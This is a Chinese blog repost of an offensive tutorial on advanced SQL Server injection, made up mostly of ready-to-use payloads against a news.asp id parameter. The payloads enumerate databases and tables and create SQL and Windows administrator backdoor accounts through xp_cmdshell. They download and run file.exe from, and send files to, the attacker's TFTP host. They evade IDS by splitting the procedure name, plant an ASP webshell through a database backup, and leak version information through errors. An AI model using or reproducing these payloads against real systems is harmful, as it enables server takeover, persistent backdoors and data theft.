桂林老兵的SQLSERVER高级注入技巧

现在将老兵本人多年的SQLSERVER注入高级技巧奉献给支持老兵的朋友:


前言:
即是高级技巧,其它基本的注入方法就不详述了。
看不懂可查本站的注入基础文章。
为了更好的用好注入,建议大家看看本站的SQL语法相关文章


[获取全部数据库名]
select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库


[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
select top 1 name from 数据库名.dbo.sysobjects where xtype='u' and status>0 and name not in('table')


[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
select top 1 数据库名.dbo.col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]


通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]


news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加数据库用户用户test,密码为test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密码,则用这句(将test的密码改为123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //将test加到sysadmin组,这个组的成员可执行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //添加系统用户test,密码为test
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //将系统用户test提升为管理员


这样,你在他的数据库和系统内都留下了test管理员账号了


下面是如何从你的服器下载文件file.exe后运行它[前提是你必须将你的电脑设为TFTP服务器,将69端口打开]


id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP get file.exe';--


然后运行这个文件:
id=2; exec master.dbo.xp_cmdshell 'file.exe';--


下载服务器的文件file2.doc到本地TFTP服务器[文件必须存在]:


id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP Put file2.doc';--


绕过IDS的检测[使用变量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'


新加的:

建一个表。只有一个字段,类型为image,将asp内容写入。导出数据库为文件
backup database dbname to disk='d:/web/db.asp';


报错得到系统操作系统和数据库系统版本号
id=2 and 1<>(select @@VERSION);
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值